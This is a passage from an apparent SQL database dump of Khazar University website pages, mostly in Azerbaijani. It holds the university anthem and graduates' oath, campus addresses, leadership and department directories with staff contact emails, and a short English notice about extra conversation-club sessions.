bəstəkar Ramiz Mustafayev və Vasif Adıgözəlov yazmışlar.</p><p><a href=\"http://www.khazar.org/az/menus/804/telebe_valsi\">“<strong>Tələbə valsı</strong>”</a>nın sözləri Hamlet İsaxanlıya, musiqisi Ramiz Mustafayevə, \"<a href=\"http://www.khazar.org/az/menus/805/dunya_mektebinin_mahnisi\"><strong>Dünya məktəbinin mahnısı</strong></a>\"nın sözləri Hamlet İsaxanlıya, musiqisi isə Dünya məktəbinin təsisçisi Nailə Xanım İsaxanlıya aiddir.</p>\r\n<p><a href=\"http://www.khazar.org/az/menus/806/graduates_oath\"><strong>Məzunluq andı:</strong></a></p>\r\n<p>\"Xəzər Universitetində əldə etdiyim bilik və bacarığı tətbiq edərək ailəm,&nbsp;xalqım və vətənim üçün faydalı olacağıma and içirəm!</p><p>Xəzər Universitetinin şərəfini qoruyacağıma and içirəm!\"</p>'),(195,49,'az','Məlumat kitabçası','Məlumat kitabçası','<br><p style=\"text-align:center\"><strong>Universitet 6 kampusda, 12 binada fəaliyyət göstərir</strong></p>\r\n<p><strong><br></strong></p><p><strong>Neftçilər Kampusu <strong>–</strong>   3 bina:</strong></p><ul><li>Ünvan: Məhsəti küçəsi 41 (Tədris, inzibati işlər)</li><li>Ünvan: Məhsəti küçəsi 41 (Tədris, Konfrans salonu)</li><li>Ünvan: Şirin Mirzəyev 32 (Qonaq evi və yataqxana)</li></ul><p><strong><br></strong></p><p><strong>Mərkəz Kampusu – 1 bina:</strong></p><ul><li>Ünvan: Bəşir Səfəroğlu küçəsi 122 (Tədris, Fikrət Əmirov Konfrans-konsert mərkəzi)</li></ul><p><strong><br></strong></p><p><strong>Binəqədi Kampusu – 4 bina:</strong></p><ul><li>Ünvan: Bakı, Əcəmi Naxçıvani 9 (Laboratoriyalar, İdman kompleksi, Təlim Mərkəzi, Dünya Məktəbi)</li></ul><p><strong><br></strong></p><p><strong>Buzovna Kampusu – 2 bina:</strong></p><ul><li>Ünvan: Buzovna qəsəbəsi, dəniz sahili (Konfrans və istirahət mərkəzi)</li></ul><p><strong><br></strong></p><p><strong>20 yanvar Kampusu – 1 bina:</strong></p><ul><li>Ünvan: H.Zərdabi prospekti, 88A (Körpələr evi, Uşaq baxçası)</li></ul><p><strong><br></strong></p><p><strong>Sumqayıt Kampusu – 1 bina:</strong></p><ul><li>Ünvan: 44-cü məhəllə, Bakı küçəsi 37 (Təlim Mərkəzi, idman kompleksi, Dünya Məktəbi)</li></ul><p><br></p><p><strong>Qeyd: </strong>Əcəmi Naxçıvani küçəsində (Binəqədi kampusunun yaxınlığında), təxminən 0,35 hektar sahədə yeni tədris binasının tikintisinə hazırlıq işləri gedir.</p>'),(196,63,'az','Rəhbərlik','Rəhbərlik','<p><strong>Hassan Niknafs</strong></p><p>Fəlsəfə doktoru, Rektor</p><p>Mühəndislik və Tətbiqi elmlər fakültəsinin dekanı</p><p>E-mail:&nbsp;<a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a>  <a href=\"http://mailto:Hniknafs@]khazar.org\"></a></p><p><strong><br></strong></p><p><strong></strong><strong>Məhəmməd Nuriyev</strong></p><p>Professor, Elmlər doktoru, Tədris işləri üzrə prorektor</p><p><a href=\"mailto:mnouriev[at]khazar.org\"></a>E-mail:  <a href=\"mailto:mnouriev@khazar.org\">mnouriev[at]khazar.org</a>  <a href=\"http://mailto:mnouriev@]khazar.org\"></a></p><p><strong><br></strong></p><p><strong>İsaxan&nbsp;İsaxanlı</strong></p><p>Fəlsəfə&nbsp;doktoru,&nbsp;İdarəetmə&nbsp;və&nbsp;tələbə&nbsp;işləri&nbsp;üzrə&nbsp;prorektor</p><p><a href=\"mailto:iisaxanli[at]khazar.org\"></a>E-mail:  <a href=\"mailto:iisaxanli@khazar.org\">iisaxanli[at]khazar.org</a>  <a href=\"http://mailto:iisaxanli@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>İradə Xəlilova</strong></p><p>Fəlsəfə Doktoru, Elmi işlər üzrə prorektor</p><p><a href=\"mailto:ikhalilova[at]khazar.org\"></a>E-mail:  <a href=\"http://mailto:ikhalilova@khazar.org\"></a><a href=\"mailto:ikhalilova@khazar.org\">ikhalilova[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Nailəxanım&nbsp;İsaxanlı</strong></p><p>MS,&nbsp;İdarəetmə&nbsp;və&nbsp;humanitar&nbsp;işlər&nbsp;üzrə&nbsp;müşavir</p><p><a href=\"mailto:nisayeva[at]khazar.org\"></a>E-mail:  <a href=\"mailto:nisayeva@khazar.org\">nisayeva[at]khazar.org</a>  <a href=\"http://mailto:nisayeva@]khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Eldar Şahgəldiyev</strong></p><p>Fəlsəfə doktoru, Magistratura, doktorantura və elmi işlər üzrə bölmənin rəhbəri</p><p>Tədris işləri üzrə prorektorun müavini</p><p><a href=\"mailto:eshahgaldiyev[at]khazar.org\"></a>E-mail:  <a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev[at]khazar.org</a>  <a href=\"http://mailto:eshahgaldiyev@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Raziyə İsayeva</strong></p><p>MBA, İnkişaf üzrə direktor</p><p><a href=\"mailto:risayeva[at]khazar.org\"></a>E-mail:  <a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a>  <a href=\"http://mailto:risayeva@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Əlövsət Əmirbəyli</strong></p><p>MA, İctimaiyyətlə əlaqələr və media üzrə direktor</p><p><a href=\"mailto:aamirbeyli[at]khazar.org\"></a>E-mail:  <a href=\"mailto:aamirbeyli@khazar.org\">aamirbeyli[at]khazar.org</a>  <a href=\"http://mailto:aamirbeyli@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Ceyhun Məmmədov</strong></p><p>Fəlsəfə&nbsp;doktoru, İqtisadiyyat və Menecment fakültəsinin dekanı</p><p><a href=\"mailto:jmammadov[at]khazar.org\"></a>E-mail:  <a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a>  <a href=\"http://mailto:jmammadov@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Cabir Xəlilov</strong></p><p>Dosent,&nbsp;Fəlsəfə&nbsp;doktoru,&nbsp;Humanitar və Sosial Elmlər fakültəsinin dekanı</p><p><a href=\"mailto:cxalilov[at]khazar.org\"></a>E-mail:&nbsp;<a href=\"mailto:cxalilov@khazar.org\">cxalilov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Elza Səmədova</strong></p><p>Fəlsəfə doktoru, Təhsil fakültəsinin dekanı</p><p><a href=\"mailto:esemedova[at]khazar.org\"></a>E-mail:  <a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a>  <a href=\"http://mailto:esemedova@khazar.org\"></a></p><p><strong><br></strong></p><p><strong>Turan Cəfərova</strong></p><p>MA,&nbsp;Beynəlxalq Əlaqələr Ofisinin direktoru</p><p><a href=\"mailto:tjafarova[at]khazar.org\"></a>E-mail:  <a href=\"http://mailto:tjafarova@khazar.org\"></a><a href=\"mailto:tjafarova@khazar.org\">tjafarova[at]khazar.org</a>  </p>'),(2470,1494,'en','Extra Sessions Added to English Conversation Club with James Millar','Based on multiple requests from students and staff, extra sessions were added to our English conversation club schedule. Join us on the following two days...','<p>Based on\r\nmultiple requests from students and staff, extra sessions were added to our English\r\nconversation club schedule. Join us on the following two days:</p>\r\n<p></p><ul><li>TUESDAY\r\nat 12:00</li><li>THURSDAY\r\nat 12:00 and 14:00</li></ul><p></p>\r\n<p>Register\r\nat English Language and Literature Department (Room 308, Mehseti 41, Neftchilar\r\nCampus)&nbsp;</p><p><img src=\"http://www.khazar.org/files/admin/conversation%202016.jpg\" style=\"border:0px  #000000;width:450px;height:633px;margin:7px;float:left\">  </p><div><br></div><br><p></p>'),(197,73,'az','Departament, institut və mərkəz rəhbərləri','Departament, institut və mərkəz rəhbərləri','<h3>Akademik departamentlər</h3><div><br></div><p><strong><a href=\"http://www.khazar.org/az/menus/128/elektronika_ve_telekommunikasiya\">Elektronika və&nbsp;telekommunikasiya</a></strong></p><p><em><a href=\"http://www.khazar.org/files/radio_depart/CV_nuru_14_sent2017.PDF\">Nuru Səfərov</a></em>, Fəlsəfə doktoru, müdir,&nbsp;<a href=\"mailto:safarov[at]khazar.org\"></a><a href=\"mailto:nsafarov[at]khazar.org\">nsafarov[at]khazar.org</a>&nbsp;</p>  <p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/122/kimya_muhendisliyi_ve_kimya\">Kimya&nbsp;mühəndisliyi və Kimya</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\">Rasoul Moradi</a></em>,&nbsp;Fəlsəfə doktoru,&nbsp;koordinator, <a href=\"mailto:rmoradi[at]khazar.org\">rmoradi[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/121/inshaat_muhendisliyi\">İnşaat mühəndisliyi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\">Rasim Bayramlı</a></em>, Fəlsəfə doktoru, dosent, müdir, <a href=\"mailto:rbayramli[at]khazar.org\">rbayramli[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/123/komputer_elmleri_ve_komputer_muhendisliyi\">Kompüter elmləri</a></strong><strong><a href=\"http://www.khazar.org/az/menus/123/komputer_elmleri_ve_komputer_muhendisliyi\">&nbsp;və Kompüter mühəndisliyi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Məhəmməd Şərifov</a></em>, Fəlsəfə doktoru, müdir, <a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/1105/mexanika_muhendisliyi\">Mexanika Mühəndisliyi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Mirsadegh%20Seyedzavvar.pdf\">Mirsadegh Seyedzavvar</a>, </em>Fəlsəfə doktoru, koordinator,&nbsp;<a href=\"mailto:mseyedzavvar[at]khazar.org\">mseyedzavvar[at]khazar.org</a>  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/133/riyaziyyat\">Riyaziyyat</a></strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\">Əli Hüseynli</a></em>,&nbsp;Fəlsəfə doktoru, müdir,&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/136/neft_muhendisliyi\">Neft mühəndisliyi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/petroleum_depart/CV-Zeynalov.Gasham(November2017).docx\">Qəşəm Zeynalov</a></em>, Fəlsəfə doktoru, müdir,&nbsp;<a href=\"mailto:gzeynalov[at]khazar.org\">gzeynalov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/125/iqtisadiyyat_ve_menecment\">İqtisadiyyat və menecment</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Ceyhun Məmmədov</a></em>, Fəlsəfə doktoru, müdir, <a href=\"mailto:jmammadov[at]khazar.org\">jmammadov[at]khazar.org</a>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/126/tehsil\">Təhsil</a></strong></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/117/azerbaycan_dili_ve_edebiyyati\">Azərbaycan dili və ədəbiyyatı</a>&nbsp;</strong><br></p><p><em><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\">Vurğun Əyyub</a></em>, Fəlsəfə doktoru, dosent, müdir,&nbsp;<a href=\"mailto:veyyub[at]khazar.org\">veyyub[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/124/diller_ve_medeniyyetler\">Dillər və Mədəniyyətlər</a></strong> </p><p><em><a href=\"http://www.khazar.org/files/languages_depart/CV%20Zivar%20Huseynli.english.pdf\">Zivər Hüseynli Baylan</a></em>, Fəlsəfə doktoru, koordinator,&nbsp;<a href=\"mailto:zhuseynli[at]khazar.org\">zhuseynli[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/127/ingilis_dili_ve_edebiyyati\">İngilis dili və ədəbiyyatı</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Curriculum_Vitae_Dr_Amani.pdf\"></a></em><em><a href=\"http://www.khazar.org/files/eng_depart/CV/eynur_mehdiyev_cv.pdf\">Eynur Mehdiyev</a></em>, MA, müdir müavini,&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a>  <a href=\"mailto:bamani[at]khazar.org\"></a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/119/bioloji_elmler\">Bioloji elmlər</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\">İradə Xəlilova</a></em>, Fəlsəfə doktoru, dosent,&nbsp;müdir,&nbsp;<a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/129/coghrafiya_ve_etraf_muhit\">Coğrafiya və ətraf mühit</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/files/geography_depart/NewFolder/CV_Rovshan%20Abbasov2017.pdf\">Rövşən Abbasov</a></em>, Fəlsəfə doktoru, müdir, <a href=\"mailto:rabbasov[at]khazar.org\">rabbasov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/130/tarix_ve_arxeologiya\">Tarix və arxeologiya</a></strong></p><p><em><a href=\"http://www.khazar.org/files/history_depart/R.A.pdf\">Roza Arazova</a></em>, Fəlsəfə doktoru, dosent, müdir, <a href=\"mailto:rarazova[at]khazar.org\">rarazova[at]khazar.org</a> &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/131/jurnalistika\">Jurnalistika</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Cabir Məmmədli</a></em>, MS, koordinator, <a href=\"mailto:cmammadli[at]khazar.org\">cmammadli[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/132/huquq\">Hüquq</a></strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Xəlilov</a></em>, Fəlsəfə doktoru,&nbsp;dosent, müdir,&nbsp;<a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/137/felsefe_ve_sosiologiya\">Fəlsəfə və sosiologiya</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/philosophy_depart/%C6%8FSAS%20Eldar%20%C5%9Eahg%C9%99ldiyev%20-elmi%20n%C9%99%C5%9Frl%C9%99r-dekabr%202017_1.pdf\">Eldar Şahgəldiyev</a></em>, Fəlsəfə doktoru, dosent,&nbsp;müdir,&nbsp;<a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a>  </p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/138/political_science_and_international_relations\">Siyasi elmlər və beynəlxalq münasibətlər</a></strong></p><p><em><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20_CV.pdf\">Elmar Mustafayev</a></em>, Fəlsəfə doktoru, koordinator, <a href=\"mailto:elmar.mustafayev[at]khazar.org\">elmar.mustafayev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/139/psixologiya\">Psixologiya</a></strong></p><p><em><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ülkər İsayeva</a></em>, MS, müdir, <a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a></p><p><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\"><em>Mələk Kərimova</em></a>&nbsp;MS, koordinator,&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  </p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/135/musiqi_ve_incesenet\">Musiqi və incəsənət</a>&nbsp;</strong></p><p><em><a href=\"http://www.khazar.org/en/menus/625/zulfiyya_sadigova\">Zülfiyyə Sadıqova</a></em>, MS, koordinator,&nbsp;<a href=\"mailto:zsadigova[at]khazar.org\">zsadigova[at]khazar.org</a></p>  <p><br></p><h3><br></h3><div><br></div><h3>İnstitut və Mərkəzlər</h3><div><br></div><p><strong><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\">İnsan resursları mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ülkər İsayeva</a></em>, MS, direktor,&nbsp;<a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a>  <br></p><p><a href=\"http://www.khazar.org/files/letters/CV_resume_ozal_to_publish.pdf\" style=\"font-style:italic\">Özal Məmmədli</a><em>,&nbsp;</em>MS,&nbsp;Menecer,&nbsp;<a href=\"mailto:ommadli@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\">ommadli[at]khazar.o</a><a href=\"mailto:ommadli@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\">rg</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/96/tehsil_siyaseti_institutu\">Təhsil Siyasəti İnstitutu</a></strong></p><p><em><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet İsaxanlı</a></em>, Elmlər doktoru, professor, <a href=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/92/elm_ve_senet_meclisi\">Elm və sənət məclisi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\"></a></em><em><a href=\"http://www.khazar.org/files/letters/alovsat_a.pdf\">Əlövsət&nbsp;Əmirbəyli</a></em>, MS, direktor,&nbsp;<a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a>  <a href=\"mailto:hamlet[at]khazar.org\"></a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/93/huquq_tedris_merkezi\">Hüquq tədris mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Cabir Xəlilov</a></em>, Fəlsəfə doktoru, dosent, direktor, <a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a>   &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/89/inkishaf_merkezi\">İnkişaf mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziyə İsayeva</a></em>, MS, direktor, <a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a>   &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/94/lughet_ve_ensiklopediya_merkezi\">Lüğət və ensiklopediya mərkəzi</a></strong></p><p><em></em><em></em><a href=\"http://www.khazar.org/files/letters/CV-Gunel_Shukurova.pdf\"><em>Günel Şükürova</em></a><em>,&nbsp;</em>MS,&nbsp;redaktor köməkçisi,&nbsp;<a href=\"mailto:gshukurova@khazar.org\">gshukurova[at]khazar.org</a>  <a href=\"http://mailto:gshukurova@khazar.org/\"></a>  <a href=\"mailto:zveliyeva[at]khazar.org\"></a>  </p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/99/kitabxana_informasiya_merkezi\"><strong></strong></a><strong><a href=\"http://www.khazar.org/az/menus/99/kitabxana_informasiya_merkezi\">Kitabxana-informasiya mərkəzi</a></strong></p><p><a href=\"http://library.khazar.org/files/Aytaj%20CV%20new.doc\"><em></em></a><em><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></em>, Fəlsəfə doktoru, direktor, <a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a>  <a href=\"mailto:amiskerli[at]khazar.org\"></a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/100/multimedia_merkezi\">Multimedia mərkəzi</a></strong></p><p><em><a href=\"http://old.khazar.org/files/Natella%20Barkaya%20CV.pdf\">Natella Barkaya</a></em>, MS, direktor, <a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a>   &nbsp; &nbsp; &nbsp;</p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\"><strong></strong></a><strong><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\">Xəzər Psixoloji Xidmət Mərkəzi</a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/psycho_depart/CV%20MELEK%20KERIMOVA%20sons.pdf\">Mələk Kərimova</a></em>, MS,&nbsp;direktor,&nbsp;<a href=\"mailto:mkerimova[at]khazar.org\">mkerimova[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/97/keyfiyyetin_teminati_merkezi\">Keyfiyyətin təminatı mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\">Lyudmila Sotova</a></em>, MS, direktor, <a href=\"mailto:lsotova[at]khazar.org\">lsotova[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/103/peshe_inkishaf_merkezi\">Peşə İnkişaf Mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/career/CV_Ulviyya%20HUSEYNOVA.PDF\"></a></em><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\">Səbinə&nbsp;Allahverənova</a><em>,&nbsp;</em>menecer,&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\"><strong></strong></a><strong><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\">İnternet Təhsil Mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Məhəmməd Şərifov</a>,&nbsp;</em>Fəlsəfə doktoru, direktor,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a>    </p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/105/center_for_cell_pathology_research_\">Hüceyrə Patologiyası Tədqiqat Mərkəzi</a></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/105/center_for_cell_pathology_research_\"></a></strong><em><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\">İradə Xəlilova</a></em>, Fəlsəfə doktoru, dosent,&nbsp;müdir,&nbsp;<a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/91/miqrasiya_arashdirmalar_merkezi\">Miqrasiya Araşdırmaları Mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Ceyhun Məmmədov</a></em>, Fəlsəfə doktoru, direktor,&nbsp;<a href=\"mailto:jmammadov[at]khazar.org\">jmammadov[at]khazar.org</a>  <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/786/center_for_students_with_disabilities\">Əlilliyi olan tələbələr üçün Mərkəz</a></strong></p><p><strong><br></strong></p><p><strong>Elektron Media Mərkəzi (<strong><a href=\"http://www.khazar.org/az/menus/75/xezer_universiteti_radiosu\">Radio Xəzər</a>)</strong></strong></p><p><strong></strong><em>Alik Əlioğlu</em>, BS, koordinator, <a href=\"mailto:aalioglu[at]khazar.org\">aalioglu[at]khazar.org</a>    </p><h3><br></h3><h3>İnzibati şöbələr</h3><div><br></div><p><strong><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\">İnsan resursları mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ülkər İsayeva</a></em>, MS, direktor, <a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/882/ictimaiyyetle_elaqeler_ve_media_shobesi\">İctimaiyyətlə əlaqələr və media şöbəsi</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/letters/alovsat_a.pdf\">Əlövsət Əmirbəyli</a></em>, MS, direktor, <a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/875/telebe_qeydiyyat_ve_melumat_shobesi\">Tələbə qeydiyyat və məlumat şöbəsi  </a></strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Jeyhun_Isayev_CV.pdf\">Ceyhun İsayev</a></em>, BBA, müdir, <a href=\"mailto:http://www.khazar.org/az/menus/875/qeydiyyat_ve_informasiya_shobesi\">iceyhun[at]khazar.org</a>   <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1246/qebul_ve_telebe_shobesi\">Qəbul və tələbə&nbsp;şöbəsi</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\">Lamiyə Namazova</a></em>, MBA, müdir, <a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\">Beynəlxalq əlaqələr ofisi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/Turan_Jafarova%20cv.pdf\">Turan Cəfərova</a>, </em>MA,<em>&nbsp;</em>müdir,&nbsp;<a href=\"mailto:tjafarova[at]khazar.org\">tjafarova[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/886/kadrlar_shobesi\">Kadrlar şöbəsi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Aybeniz_Namazova_CV(5).pdf\">Aybəniz Namazova</a></em>, BBA, koordinator, <a href=\"mailto:anamazova[at]khazar.org\">anamazova[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/887/maliyye_shobesi\">Maliyyə şöbəsi</a></strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/letters/Nagi_Bayramli_cv.pdf\">Nağı Bayramlı</a></em>, MBA, direktor, <a href=\"mailto:nbayramli[at]khazar.org\">nbayramli[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/888/muhasibatliq\">Mühasibatlıq</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Emin%20Beylerov_ENG.pdf\">Emin Bəylərov</a></em>, MS, baş mühasib, <a href=\"http://mailto;bemin[at]khazar.org\">bemin[at]khazar.org</a>   <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/1231/informasiya_texnologiyalari_shobesi\">İnformasiya texnologiyaları şöbəsi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Musayev_Farid-aze.pdf\">Fərid Musayev</a></em>, MS, müdir, <a href=\"mailto:farid[at]khazar.org\">farid[at]khazar.org</a>      <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1245/informasiya_sistemleri_shobesi\">İnformasiya&nbsp;sistemləri şöbəsi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/CV_Rashad_ENGv4.pdf\">Rəşad Xalıqov</a></em>, MS, müdir, <a href=\"mailto:rkhaligov[at]khazar.org\">rkhaligov[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1249/temir_tikinti_shobesi\">Təmir-tikinti şöbəsi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Shahin_Isayev_CV%20(1).pdf\">Şahin İsayev</a></em>, MS, menecer, <a href=\"mailto:shisayev[at]khazar.org\">shisayev[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1248/teserrufat_shobesi\">Təsərrüfat şöbəsi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Malayka_Huseynova_CV.pdf\">Məleykə&nbsp;Hüseynova</a></em>, MS, menecer, <a href=\"mailto:mhuseynova[at]khazar.org\">mhuseynova[at]khazar.org</a>   <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/70/xezer_universitetinin_neshriyyati\">Nəşriyyat</a></strong></p><p><em>Zakir Yusifoglu</em>, MS, direktor, <a 